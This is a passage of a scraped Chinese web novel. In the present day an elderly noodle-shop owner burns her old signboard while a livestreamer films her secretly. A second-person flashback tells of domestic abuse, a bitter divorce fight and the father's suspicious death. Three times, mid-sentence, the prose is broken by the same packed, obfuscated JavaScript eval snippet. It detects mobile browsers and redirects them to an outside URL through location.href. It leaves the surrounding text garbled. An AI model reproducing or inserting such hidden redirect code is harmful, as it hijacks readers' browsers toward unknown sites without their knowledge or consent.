床上铺就的床单是蓝色的,枕头套是蓝色的,被子也是蓝色的,就连墙纸都是蓝色的。 打开衣柜,里面的衣服一应俱全,春夏秋冬,四季不缺,包括内裤袜子。所有标签都被剪掉,每一件都用手仔细洗过,又被晒得满是太阳味,再依次摆进去。 好似这个房间的主人随时回来,随时都能感受到来自妈妈的深沉的爱。 王庆芬从书架上把变形金刚模型拿在手里。这是有一年她去贵阳商场买的,很贵,花了她很多钱。九十年代的变形金刚呆呆板板的,可以动的地方不多,像这一款也就头和手可以弹出来缩进去。但它与动画片里的一模一样,柜员向她保证是个男孩子都喜欢。 时间过去太久了,即便从买回来到现在也没人玩过,可上面的漆还是落了一层,露出灰白的底。 她伸出手指把变形金刚的头戳进去,再按时,头竟然卡住了。 她再戳,再再戳,头依然陷在里面怎么都弹不出来。 咔咔咔咔! 按压,扭动,揪扯…… 咔咔咔咔! 手劲越来越大,声音越来越响,王庆芬又气又恼,怎么就连一个头都拔不出来……枯瘦的手指攥成拳头直接砸了下去,一下又一下…… 几秒钟后,变形金刚裂了,碎了,头从身体里掉了出来,扑通一声滚到了床底下。 它彻底成了一个无头的家伙,再也不用表演缩头功了。 王庆芬喘着气,后腰的痛像箭一样窜到四肢百骸,她站也站不住,坐又坐不下去,就这样像一具佝偻的僵尸,一动不动盯着满地残渣。 过了好一会,门外的光偏斜过来,穿进这间被蓝色幽雾笼罩的房间。阳气一点一点爬上地面,氤氲到她脚底,笼上腰,窜进胸,脖子松动了,喉咙感受到了暖意,她终于可以迸出咕噜咕噜的声音。 像笑声,又像哭声。 “重重,对不起啊,妈妈没控制住脾气。妈妈再给你买一个一摸一样的变形金刚好不好?” “重重,她死了,你妹妹死了。她顶着你的名字竟然死了!” “没事没事,重重不怕啊,她就是死了,你还能活着。” “永远活着!” - 王叶柄已经在何家巷蹲了整整10个小时,从拥挤的白天到依然拥挤的夜晚,便民食堂的绿豆汤都喝了不知道多少碗,还是没想到怎么接近王庆芬的方法。 一楼和三楼没人住,这个老女人住的二楼直到夜里八点钟才亮起灯来。亮灯的那一刻很多人喊她的名字,但她依然装死,不回骂也不应腔。 一楼大门紧锁,大家也不能直接破门而入,把镜头戳她脸上。 到了半夜,绕在楼下的阿猫阿狗都走了。王叶柄不死心,躲在阴影里一瞬不瞬地盯着二楼。 就在他快要撑不住的时候,一楼大门咯吱开了,一个佝偻萎缩的身影慢慢吞吞出现在幽暗中。 王叶柄一动不动,像蛰伏角落窥视猎物的野兽,盯着王庆芬以慢得不能再慢的速度从他面前走过,往巷口走去。 他悄咪咪地从另一条巷子绕过去,一路奔跑,等了好半天才瞅见那个老女人的身影。她矗立在马路中央,左右回望,看样子想打车。 然而出租车才不愿意进来这么狭窄堵塞的老巷子,所以当王叶柄施施然把车缓慢开到王庆芬面前时,她果然扬起了胳膊。 王叶柄如愿了。 - 他从后视镜里悄悄瞄了一眼——跟那个被吊死的女人一点都不像。 “你可真是个好人啊!” “哪里哪里。顺路而已。” 一个是深更半夜不睡觉,站在巷路中央拦车不怕被撞的阴沉老女人,一个是不怕讹诈,无视扶不扶社会问题,已经把睡觉进化掉,开着空车半夜出现在幽深巷子的“精神超前”小伙。 两人觉得对方都很“正常”,都非常“善良”。 小伙子把录音功能悄悄打开。 老女人上车客气了一句后就闭上了眼。 “阿姨!” “阿姨!” “……” “……” - 直到车一路开进遵龙镇,王庆芬才睁开眼。 见过遵龙镇三四点样子的人肯定不少,但几十年如一日,不管刮风还是下雨,每天准时三点起床,四点熬肉,六点开卖,掌握遵龙镇昼夜变化,见证遵龙镇时代迁移的人,怕是除了王庆芬,没几个。 比如现在走的这条路,本地人称为主街,在九十年代那可是方圆几十里最繁华的地方,每个月都会在这里定时定点举办大集。后来大集取消,路被拓宽,两侧兴起了商业街,繁华又延续好几年。直到网购成为时髦,主街的店铺变得半死不活,这里就慢慢沦落为服务周边小区居民日常生活的地方。 此刻,王庆芬坐在车里,路灯昏黄的光穿进来,她脸上凹陷的坑更显幽深。 店铺就在十米开外。 上挂方形匾额,木头被时间和油渍浸润太久,像一口深渊,吸进了过去20年日夜重复的叫卖声、嗦粉声、吵架声、打骂声,以及必不可少的闲言碎语。 这两天,因为“杀妻案”,这家店也莫名成为大家竞相打卡的地点。不瘟不火的生意一下子好起来,很多人慕名而来一边嗦粉一边八卦这个案子。那些街坊邻居立马支棱起来,纷纷出镜爆料: 李重从小就很怪,不爱说话不爱笑,但学习极好,考上市一中后就不怎么回来了。 王庆芬总跟男人不清不白,不然她店里来吃饭的大多都是男人?她这店铺也是某个男人送她的,不然她一个地质队的穷家属哪里买得起镇上的房子? 李重的父亲也死得蹊跷,有一年跑野外找矿,不知道就怎么死在了山里。 女婿方月华来过这里几次,人长得一表人才,嘴甜面善,提亲的时候还不忘给街坊邻居送瓜果米面当见面礼,还真是大方。 …… 他们一边爆料一边在门口摆起了摊,卖水卖烟卖零食,有人甚至为了让人多在自己摊位上停留一会,自行编起了故事往外讲。 好事者听得美滋滋,转手加上自己的独家猜测和臆想,你传我我传他,最后等王庆芬在短视频平台刷到时,已经面目全非,匪夷所思。 就连当年好话说尽才从她手上拿到店铺的男人也对着镜头说:“王庆芬不知道遇到了什么事,转这个店的时候很急很急,急着出手。我也是看在多年邻居的情分上才同意接手。反正她把这个店甩给我后,就再没回来。像是躲着什么事或者人。当然,这都不影响我们家的羊肉粉好吃!来来来,都快坐!正宗本地麻羊,只此一家老字号,大家可要认准了!” - 顶着自己的名号,这些蠢货们四点半了还不起来熬肉,还不赶紧把桌椅板凳摆好,难怪生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14429847|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意越做越差。以前这个时候她早都忙出一身汗,羊腿刀咻咻咻地在肉块上飞舞,粉也泡好了,大骨头也塞满了铁锅,腥膻的羊肉味早窜得满街都是…… 王庆芬忍了忍胸口的恶心,道:“小伙子,你再帮我个忙,成吗?” 王叶柄赶紧回头,迎面看到后座老女人枯瘦的脸上浮着一层笑意。 她女儿死了,她还能笑出来?!王叶柄顿时兴奋难耐。 是谁掌握了“杀妻案重要相关人”的最新动态?是谁马上就要获得对方的信任,极有可能拿到独一份的报道?是谁马上就要从一个无人问津的小小主播变成直击热门事件的当红主播? 是他! 是他王叶柄! “没问题,阿姨您直说就成!” “小伙子你可真是个好人!” 王庆芬示意要下车,王叶柄赶紧下车绕到后面给她开了门,还特别体贴地让她扶着自己的手。 “您这是腰不舒服吧?!” “是啊,多年的腰间盘突出,没办法,开店累的!” 王叶柄明知故问,“您开的是什么店?” 王庆芬抬起胳膊指了指对面黑乎乎的牌匾:“王庆芬羊肉粉店。” 她缓步走过这条走了无数次的街,踏上人行道,门口的桂花树已经变得很粗很粗。 正值它最香的时候,她又回来了。 “帮我把这个匾摘了!” 王叶柄一愣。 “这是我的匾,是我的名,我要拿走它!”王庆芬冷冷道。 王叶柄都快遏制不住内心的欢腾,他真真后悔没有拿个隐形摄像机把这一幕录下来。还好手机录音开着。 他自然要帮她推波助澜,二话不说从旁边找了把椅子站上去,费了好大劲才把这块死沉死沉的匾摘了下来。 王庆芬抬起头,上面露出灰突突的方形墙面,她笑了起来,没了她的名她的匾,这里还真是难看啊。 里头的人终于被声响吵醒,惺忪着眼走出来,看着一老一少偷匾贼还以为见了鬼。再定神一看,这个阴沉着脸的老女人竟然很脸熟……这下真见着鬼了。 店老板气急败坏从里面冲出来,瞧见那个为他带来日收几千营业额的匾被一个不认识的年轻小伙抱在怀里,他的心立马疼得要死,冲王庆芬嚷嚷,“王姨,天还没亮,你们在这搞哪一出啊?” “这两天数钱数累了?!这都几点了还不起来生炉子熬肉?我教你的,你是一样也没照我说的做!” 店老板摆摆手,“你别说这些废话。店铺是我花钱从你手里转过来,包括这个匾。你不能拿走!” 王庆芬慢慢腾腾从口袋里拿出一张发黄的纸。 “合同上写得清清楚楚,我只转店,没说这个匾也转给你。你叫什么?你叫王庆芬吗?你叫马胜才!这是我的名字我的匾,你就是把我告到法院我也不怕。” “走!” 王叶柄得令,立马抱着匾往车走。对方哪能让他们就这么走了,赶紧上前拦。 “还不快跑!” 王叶柄长得人高马大,把匾挥得虎虎生威,生生撞倒一人后把匾塞进车后座。 王庆芬站在主街上大喊大叫,“大家都出来看看啊!马胜才抢人了!他恩将仇报不得好死啊!” “你要是敢碰我一下,我就去网上说你不要脸,连老太太都骚扰!让大家吐唾沫淹死你啊!” 咒骂声在空无一人的大街上来回激荡,惊得狗都狂叫起来,黑乎乎的窗户簌簌亮了好几个。 马胜才恨不得把她的嘴缝住,你你你了半天,硬是不敢上前。 这时,王叶柄从后面极速冲过来,一把抱起瘦弱的王庆芬,惊得她大叫一声,下一秒她也被塞进了车后座。 车一溜烟跑了。 - 一路疾驰,遵龙镇被甩在了身后。 王叶柄激动得嘎嘎乱叫,拍着方向盘大喊,“王姨,您也太帅了!就该这么骂!就该这么抢!不不不,不是抢!您是拿回属于您自己的一切!” 王庆芬没吭声。 她深吸一口气,不过是站在树下一会,金桂的香味就沾满了她的全身。 就像她这辈子不管做什么,只要有一个人说她不正经,靠男人,一辈子就甩不掉。哪怕她站在这个匾下面辛辛苦苦干了二十年,挣了钱买了房。 她伸出手,一点一点把匾拖近,抬起,抱到怀里,像有千斤重。 王叶柄抑制着激动,偷偷瞄着后视镜,也不多问。 待车开到高坪河旁时,后面的人叫了停,指挥着他把车开下河漫滩,他也不多问。 让他坐在车里别动,她一个人吭哧吭哧拖着匾下了车,他也不多问。 - 天微微擦亮,像黝黑的画布被谁撕开一条缝,露出泛白泛红的底色。 河边的芦苇荡洋洋洒洒,正在撑起黔北的秋意,那道佝偻萎缩的身影推着,拽着,扯着,好半天才把匾拖到芦苇荡前的空地上。 风鼓起来了,芦苇荡起来了,就连她身上的衣服也猎猎作响,好似马上就能裹着枯瘦的她乘风起飞。 王叶柄拿出手机,打开录像,悄悄对着窗外。 那女人变戏法似的从兜里掏出一瓶汽油,浇在刚才好不容易抢回来的匾上……一团细小的火陡然亮起,火苗被风吹得东倒西歪,仍然屹立不灭,下一秒火苗跌落。 巨大的火光骤然炸起,噼里啪啦,王叶柄隔着窗目瞪口呆。 - 王庆芬平静地看着自己的匾自己的名被火吞噬,被光淹没……积攒了二十年的叫卖声、嗦粉声、闲言碎语们疯了一般从火中尖叫着逃出。 她毫不犹豫地转过身来。火光冲天,炙烫无比。 她以身祭火,无数条火蛇从她身后窜出,蛇头裂开,蛇信舔卷,车窗上蒙上了一层斑驳血色。 王叶柄两眼放光,像是看到了一场迷人烟花。 - 王庆芬敲了敲窗。 车窗摇下,一张满是苦相的皱巴脸出现在王叶柄面前。 “小伙子,做好人做到底!” “你送我去个地方。” “我要去找我女婿!” 28. 第28章 李重啊。 你和你的母亲在1995年的夏天同时遭受了最深的痛苦,也同时拥有了相同的目标。 - 那天晚上,两把刀同时举起,一把对着你的父亲,一把对着她的丈夫。 这个拥有双重身份却从不履行的男人被吓得瘫坐在地上,头一次以仰视震惊的姿态看着这两个曾被自己任意拿捏的女人和女孩。 他突然发现,他从未看在眼里的老婆的眼睛竟然可以瞪得这么大,眼里可以燃烧起如此熊熊灼热的大火,而他那怪异沉默的女儿能够发出如此震裂凄惨的嚎叫…… 他逃了。像过去的很多次一样,像逃兵一样逃了。 以为只要躲出去一段时间,那些发生过的令他不愉快的不舒服的记忆要么自动消失,要么被折叠隐没,只要他不提,谁也不敢把它们摊开,让他浑身不自在。 - 你父亲这次只逃了半个月就灰溜溜滚了回来。 是的,他没钱了。 没了你母亲的供养,他吃不好喝不好,像一条流浪狗。 然而,待他再次手插腰带,趾高气昂地回到地质队的土房子时,发现大门紧锁,无人迎接。 钥匙还在斗笠下面,他拿出来打开门,迎接他的是冷锅冷灶,以及桌面上落着的一层薄薄灰尘。 - 你父亲自然气急败坏,他冲去镇上,冲到店里,看到了正在招呼客人的你的母亲,以及正在洗碗的小小的你。 他跳脚大骂,日爹日娘,引来看客无数。这些看客在你眼里依旧是那些拥挤在罐头里的爱看热闹、不嫌事大、随意嘴碎的人形鱼干们。 你母亲一个眼皮都没抬,沉着脸切肉煮粉,收拾桌子,而你则弓着单薄的背,把碗越洗越快。 你父亲被彻底无视。任凭他吵也罢,闹也罢,回应他的只有沉默。 他被臊得面红耳赤,只得冲去找钱匣子,你母亲径直走到旁边小卖部,拿起座机电话,问旁边的店主,“马胜才,打110不收话费吧。” 她中气十足,声音大到所有的人形鱼干们都听见了。 他们把脚踮得更高了,头伸得更近了,巴不得警察赶紧来,看一场无与伦比的大热闹。 你父亲的手停在半空中,进也不是,退也不是…… “哎呀,老李,你可真是有福气的。老婆会挣钱,你只管伸手拿就行了。” “朝贵,你可真给咱们老爷们丢脸。你咋管你老婆的?她都敢报警让警察抓你?” “夫妻都是床头打架床尾和,没必要闹到这一步。” “你们还有个孩子,不至于不至于。不然娃多可怜啊。” 这些人形鱼干们纷纷张口说话,说出只有吃鱼饲料才能说出的屁话来。 你站起身来,扶着传说中大家常说的“小孩子哪里有腰”的酸疼的腰,颇为满意看了看面前洗得干干净净的“碗山”,之后,你走到父亲面前,当着他的面,把钱匣子上面的木板抽开,掂起来,往下倒……零零碎碎的毛票和一分一毛的硬币叮里咣啷掉在了地上。 你说:“捡吧。” - 你父亲第二天带着你奶奶堵上了门。 彼时,清晨六点,当天的羊肉刚煮好,你母亲刚摆好桌椅板凳,等着食客上门。 老太太一来就从铁锅里挑了块最大的羊腿啃得满嘴冒油。而你父亲则躲在街对面的树后看热闹。 老太太战斗力不减当年,吃饱后咣当一声躺倒地上,就这么死乞白赖地要为你父亲讨要“公道钱”,为她自己讨要“养老钱”。 你看到你母亲满脸厌恶,握着羊腿刀的手指关节泛着白。 本打算上门吃饭的食客们都赶紧躲开了,谁也不想大清早惹一身骚。 你奶奶很得意,以为拿捏住了你母亲的命脉。 你走过去,居高临下盯着奶奶的脸。 她像一只老山羊,一张皱巴巴的脸上唯有那双眼珠子昏昏黄黄却还冒着尖锐的得意。 你挨着她躺下来,就这么躺在冰凉油腻的水泥地上,转过脸,盯着她。 黑眼珠子对上黄眼珠子,一动不动,一眨不眨,像一具死不瞑目的小尸体。 你奶奶被你的样子吓得半坐起来,“你这鬼丫头,想干嘛!” 她的声音听起来显然比她的身体离死亡更远点,还透着些许刺耳的力量。 你像是没有听到,歪过头,从地上捏起一只蚂蚁,看也不看往舌尖上一放,卷吞进了喉咙。 你奶奶目瞪口呆。还没等她反应过来,你捏起另一只蚂蚁,利索地塞进她的嘴里…… “你妈有病,你也有病。我可怜的儿子啊,怎么遇到这么邪乎的两个人啊。” 你奶奶拼命吐着唾沫,呸得惊天动地,像吃了一口屎。 你露出一个笑,从口袋里掏出那把燧石刀,“神经病杀人不犯法,你要不试试?” - 你父亲不信邪,第三天把你外公从乡下“请”过来。 这次,他没再闹得人尽皆知,而是等你母亲收了工,闭了店,他才悄悄出现。 他什么话也不说,搬了个凳子坐在门外,你外公唉声叹气地坐在门里,把水烟抽得咕噜咕噜响。 你蹲坐在母亲身旁,小小的,像一只忠诚的小狗。 你一瞬不瞬地盯着门外的父亲。他还是没穿着衣服,胸口依然有一个血洞,穿过它你看到了街对面的桂花树的树干。 “庆芬啊,你到底咋想的嘛?你们两个这样闹来闹去,闹得全家人都不安宁。”你外公显然并不情愿来,可又不好拒绝你父亲。 你母亲端坐在那里,“我要离婚。” 她坚定地说出这四个字,是每次吵架回娘家都会说的话。你外公一点也不意外。 你外公又问,“你想好了?” 你母亲点点头,“不后悔。” 你外公看向你,“重重才六岁,没有爸爸很可怜的。” 又是这两个字。你皱起眉头。 你母亲噗嗤一声笑出来。这笑声让在场的包括你在内的三个人都浑身一哆嗦。 你外公不知道这句话哪里好笑。 你父亲听出你母亲对他的深深嫌弃。对,就是这种眼神,向来是他甩给你母亲的眼神,如今又像回旋镖一样扎到他身上。 而你知道,你母亲的这声笑,是在笑什么。 她在笑,这个世界上最可怜的小孩应该是你的哥哥,你霸占着他的名字,他的命,你活得好好的,所以到底哪里可怜了? 你闭上眼,听到身后窸窸窣窣的声响。没关系,你还有它们,总爱叫你小可爱的它们,在它们的眼里,你一点也不可怜。 “我不离婚。死也不离。”你父亲咬牙启齿。 你外公见状,摆摆手道:“庆芬,你看在你们多年夫妻的份上,别折腾了。日子怎么过不是过?家里总要有个男人啊。” 你父亲像是拿到了尚方宝剑,腰板也挺直了些。 你母亲站起来,走到你外公面前,开始脱衣服……从上到下,扣子一颗一颗被解开。 你外公吓得赶紧背过身,吼道:“王庆芬,你要干嘛?!” 你父亲瞪大眼睛,不可置信地看着你母亲。 她自顾自地解扣子,锁骨下,胸口上,手臂内,日积月累的青痕红斑在无声哭泣。 “爸,你怎么不看一眼?看他是怎么一巴掌一拳头把我打成这样?” “爸,你还怪我不懂事,怪我瞎折腾?” “爸,我以为你知道的!” 你外公落荒而逃。 你父亲面红耳臊,举着手,指着你母亲,你你了半天,最后不得已压低声音吼道:“王庆芬,你以为我不知道你在想什么?!你这是在为老陀守活寡吗?你一点廉耻心都没有吗?他已经死了,为他的前妻死了,你对他来说什么也不是!不是!” - 离婚是一场拉锯战。 你母亲以从未有过的坚定信念坚持 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14429848|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要离婚。这件事自然又成为遵龙镇主街上的头等热闹话题。 每天只要有人上门吃羊肉粉,就有人叽叽喳喳问来问去。 “庆芬,一个单身女人带这个小女孩,这日子可不好过呢。” 你母亲笑着从食客那里收走五块钱,贴身塞进挂在胸前的钱包里,“你慢走啊。” “庆芬,你跟我悄悄说说,是不是李朝贵出轨了,外头有人给他生了个儿子,你才想离婚?” 你母亲依然笑着用羊腿刀切下羊肉,“想知道的话,你多加点羊肉,五块钱一两。” “庆芬,你是不是给自己找好下家了?!谁家老公?” 你母亲拿起羊腿刀嘭的一声扎在案板上,“是。我找好了。是你老公。” 就连你也遭到了围堵。 他们从嘴里发出令人讨厌的啧啧声。 “啧啧。李重,你爸妈要是离婚,你就是没人要的小孩了。” “啧啧。李重,你要是个儿子,你爸妈估计走不到离婚这一步。” “啧啧。李重,你妈要给你找个后爹,后爹肯定没有亲爹对你好。” 你木然地看着对方的嘴巴一张一合。 你说:“我有爸爸。他会飞,是个超人爸爸。” - 你父亲非说他和你母亲感情深厚,在调解员面前哭得一把鼻涕一把泪,你母亲拿出家暴证据,你父亲指天发誓再也没有下次,他之所以动手也是因为爱之深切。 你母亲突然发现,一旦女人硬起来,男人便软了。 她于是更加坚定要离婚。 然而只隔了一夜,你父亲变了脸,拿出一叠欠条,说这是他为养这个家四处举债欠下的,如今你母亲要离婚,她必须也要偿还一半的欠款。 你母亲大惊失色,她从未见过这些欠条,也未用过这些钱,更没有在上面签订任何字,凭什么让她签字。 你父亲拿出法律条文,像看笑话一样看着你母亲,“二十一条上面写得清清楚楚。夫妻共同债务应当共同承担。还有啊,除了这些欠条,你的那个店也有我一半……对了,五年前,就是因为你去礼堂抓我的奸,闹得我那年的评奖没了,还损失一套干部房,这你也得赔我吧。” 他掐着手指头算了算,“王庆芬你想离婚可以,但必须给我十万块钱,我才同意。我可声明啊,这十万块还是我看在多年夫妻的情分上给你打得折……” 说白了,他就是要趴在你母亲身上吸一辈子的血。 - 李重啊, 那段时间,你感觉到母亲像一头焦躁愤怒的母狮,每天在小小的门店里转来转去,如同巡视自己的领地。可如今这块来之不易的领地要被人抢走,好不容易攒下的一点钱也要白手送人,她这口气怎么都咽不下去。 离婚的流程你不懂,你只知道但凡母亲说的都对,但凡母亲做的都对,她要如何你都支持。 有一天,你母亲突然服软了。她好酒好菜地摆了一桌,请你父亲坐了主位。 她说她鬼迷心窍,不知道怎么搞的,就觉得自己挣了点钱,翅膀硬了。这实在不应该。 她说她应该感激你父亲娶了她,不嫌弃她长得一般,又没文化。 她说她以后挣的钱都是你父亲的,以后你父亲想从钱匣子拿多少钱就拿多少钱。 她说她不仅要给你父亲钱,还要给你奶奶钱,毕竟没有你奶奶就没有这么优秀的你的父亲。 她那天喝了很多酒,哭得十分悲切,像是马上要被人丢出去的流浪狗,几乎抱着你父亲的大腿求他原谅。 刚开始你父亲并未相信,还以为你母亲在搞什么花招,可当你母亲恳切地说她愿意再努力一把,为老李家生个儿子的时候,他似乎开始相信了。 待你母亲拿出三千块钱大大方方塞进你父亲的手里,他终于相信了。 - 1996年的那个春节,你们一家三口在地质队家属区的土房子里度过了最后一个“团圆”的春节。 29. 第29章 自从你母亲不再提离婚两个字,你父亲再次骑在她的头上作威作福,只是这次比从前更凶更更狠。 你母亲把腰弯到不能弯的角度,事事顺着他,从不忤逆。唯有你能捕捉到她偶尔抬头时露出的晦暗愤恨的眼神。 你知道她在等一个机会。 - 许是老天爷也看不下去了,好几年没有正经勘探项目的地质队,在队长的努力下竟然从兄弟队那里抢来一个前往赤水野外作业的任务。 只是地质队人才零落,有本事的都出去找出路了,留下来的就如你父亲般是混吃等死的类型,以及那些自从分配来后就遭遇地质队“发展滑坡”、几乎没有野外勘探经验的的小年轻人们。 你父亲常年泡在酒缸里,步履虚浮,早不是当年可以跑山跑沟的年轻小伙。一开始队长压根没打算让他参与。 你母亲听说后,装作不在意地吹耳旁风,“队里还有谁比你更合适?你资历老,经验丰富,你不带着他们去,他们哪个能圆满完成任务?再说了,我听队长说了,这次去的人回来都有额外的奖金拿。你不是一直都想买个车吗?到时候我再给你补点……” 你父亲彼时眼珠子转了又转,嘴上说什么要给年轻人机会,拐个弯,跑去队长那里。你母亲还提前贴心准备了两瓶酒、两条烟让他拿去送礼。 你父亲对着队长满脸恳切。 他是地质队的老人,过去几年地质队遭遇前所未有的困难,只有他从未离开过,从未放弃过,他对地质事业有着强烈的感情和责任感。 他野外工作经验丰富,可以以老带新,在项目中培养地质队下一代人才,完成接棒任务。 他再也不喝酒了,在出发前努力锻炼身体,保证到时候不拖后腿,保证高效完成任务。 队长看着你父亲,脸上涌上无限感叹。他想起十年前你父亲刚来地质队的时候还是个啥也不会的新兵蛋子,后来扎根天柱三年,愿意吃苦,愿意跟着老同志学,还参与那么大储量重晶石的发现,也算是地质队培养起来的技术人才。只可惜这些年行业形势急转直下,他要是有机会继续探矿、普查、研究,也不会沉溺酒精,无所事事……听说前段时间他们夫妻闹离婚,闹得挺厉害的,要是这次能有个好表现,说不定你父亲的日子会好过些。 几番考量下,队长同意了,让他带队前往赤水。 - 你父亲像是打了鸡血,满是灰尘的罗盘、指南针、地图等等全被扒出来,一一收拾干净,收拾进了那个泛白发黄的地质包里。 他也果真如承诺的那般,天不亮就起来吭哧跑步,只是他常年不锻炼,猛一下还挺不适应。还好地质队周边的野狗实在太多,它们大清早被人扰了清梦实在不爽,于是疯狂追了他一路,倒也让他得到了有效的锻炼。 酒也真戒了,哪怕酒瓶子在他面前晃荡,他也不多看一眼。这点倒让你十分惊讶。你母亲再次贴心地为他买了很多炒瓜子炒蚕豆,让他酒瘾犯的时候用嘴巴嚼着。 你父亲越来越像个人。 是啊,当一个人怀揣梦想的时候总是最像正常人的时候。 甚至,他在临走前的那个晚上,还把你叫到身边。他先是骂你偷他燧石一事,骂你没眼光,他的藏品里最值钱的是那块狗头金,你却偷了最丑最不起眼的燧石。 你沉默地看着他的手,总觉得下一秒它会招呼到你的脸上。 你父亲彼时非常兴奋,压根没注意到你警惕的眼神,他小心翼翼地拿起一块浅蓝色石头,轻轻放到你的手心里。 “看,这就是你名字的来源。重晶石。” 你低下头,面前这块散发着柔弱蓝光的石头,有着明显的晶状机构,像一簇簇刚成型的蓝色冰糖,又像天外仙鸟的蓝色羽毛,透亮又美丽。 “蓝色是重晶石中最罕见的颜色,这是因为里面含有少量锶……” 你见过它,但你不喜欢它,更不想讨论它。 “本来你哥哥该叫李重,你叫李晶……”说到这里,你父亲沉默了,脸上难得露出忧伤的表情,他随即摇了摇头,“在天柱发现重晶石,是你老子我这辈子最厉害的发现,还被国家地矿部表扬了呢。” 他絮絮叨叨问你知道铁人王进喜吗? 你自然知道。那是家喻户晓的劳模。 你父亲说当年王进喜带人在大庆开采石油的时候,突然发生了井喷。他生怕你不懂什么是井喷,便用手指圈成钻机打进去的井口,另一只手模仿藏在地下的石油。 “因为压力,地下的石油会被大力挤出井口,冲出几米高,这时候如果不制止,很有可能发生爆炸,之前所有的努力会全部报废,当然也非常危险……” 昏黄灯泡投射的光束,同时落在你和你父亲的身上,你母亲抬眼看过去,一时间有些愣怔……若忽略你父亲过往的种种劣行,此时此刻他还真如慈爱的父亲一样,和你说着有趣的事,整张脸上也不再是算计和自傲,而是满满的暖意。 你母亲迅速转过脸来,悄悄在你父亲的地质包里塞进了一小瓶白酒。 “一般情况下,若是有重晶石,对,就是你手中的这种矿石,投进井口,可以快速冷却钻头,压制油气压力,但当时王进喜找不到重晶石,只得用黄土和泥浆倒进井口,当时也没搅拌机,王进喜就跳进去用身体不停搅动……” 你仰起头,看着你父亲的脸,他讲得眉飞色舞,像收音机里的说书先生,可以消磨漫长的深夜时光。你看着他,却在想另一个人……老陀跟你讲故事的时候也有相似的表情,但他不是老陀,他是野人,是胸口有个血洞的野人,他这次要回归山林,再也不会回来。 - 你父亲走后,你母亲迅速将他的衣物、用具、被褥等一股脑抽离出来,胡乱塞在一个大纸盒里。 她用脚把纸盒踢进床底,盯着看了一会,转过身来,满脸的轻松自在。 钻在肉里、每时每刻都在叫嚣的眼中钉,肉中刺,终于从她的身体里剥离出去。 你看着她,也没问她不再等几天吗,但你知道她这么做一定有她的道理和判断。 你上前拉住她的手——你认为以后的以后这个家只有你和她,或者准确地说,你认为以后的以后,你母亲只有你了——母亲沉沉看着你,在你指尖马上就要碰到她的时候,甩开了。 - 这场野外作业原计划持续一个月,然而在第十五天时,队长慌乱不已地冲进家里。他说,这次出去勘察的四个人失联了。 你母亲一屁股坐到地上,哭天抢地,寻死觅活,就像你父亲不是失联,是已经死了。 你也学着母亲的样子,坐在她的旁边一起哭。 队长赶紧劝说,他已经上报上级领导,组织赤水本地的村民和消防人员进山搜寻。说不定很快就能找到人了。他让你母亲赶紧拿件你父亲的衣服,让搜救犬闻一闻,提高搜人效率。 你母亲立马爬起来,从衣柜里拿出一件卡其色夹克,说这是她男人平时最爱穿的衣服。 你认出来,那是老陀的衣服。在老陀被抓前的某个月,你母亲看到他身上这件衣服扣子掉了,说要帮他缝上。结果,扣子缝好了,人却没机会穿了。 你母亲千叮咛万嘱咐,说无论如何,这件衣服必须给她拿回来。 “这是我唯一的念想……”她说。 - 王翠莲待所有人都走了这才进屋来。 你母亲还想哭,王翠莲拦着她,“行了,别哭了,要是真把老天爷给感动了,让人安安全全回来,可真就造孽了。” 你抬起头,头一次在这位向来慈善的王阿姨脸上看到一抹幽冷。 - 当天晚上,你躺在床上,它们照例从屋顶爬下来,巨大的尾巴把你小小的身躯层层缠绕起来,两张和你一模一样的人脸紧紧贴着你,它们轻柔地喊着小可爱啊小可爱,你受用地眯起眼,手指抚摸在它们光腻的鳞片上。 你说:“去吧。去找他。” 它们乖巧地亲了亲你的脸,松开你,爬上窗棂,横穿出去,蛇尾咻的一下消失了。 - 没过两天,队长踉跄着冲进家里,这次轮到他哭了。他说,搜寻队费劲千辛万苦终于找到了他们四人,结果全死了,变成了冰冷的尸体。 你母亲愣了下,随即轻笑起来,“这样啊,那也是没办法的事。都是命。” 她明明笑了,可所有人都满脸悲悯地看着她,觉得她这定是受刺激了,悲伤过头了。 她问队长,“我给你那件夹克呢?!” 队长赶紧把衣服递过去,你母亲拽进怀里,双手捧着,把脸埋进去,深深吸了口气,颤声说:“好。真好啊。” - 你父亲到底怎么死的?这么多年来其实并无官方解释。 按照原计划,他们会在赤水一个叫夕落山的地方调查当地的磁铁矿。这座山海拔两千多米,密林深谷,地形复杂。距离调查范围最近的一处人家也在十里之外,沿着夕落河往上走,要穿过一片桫椤林。桫椤林高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14439748|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 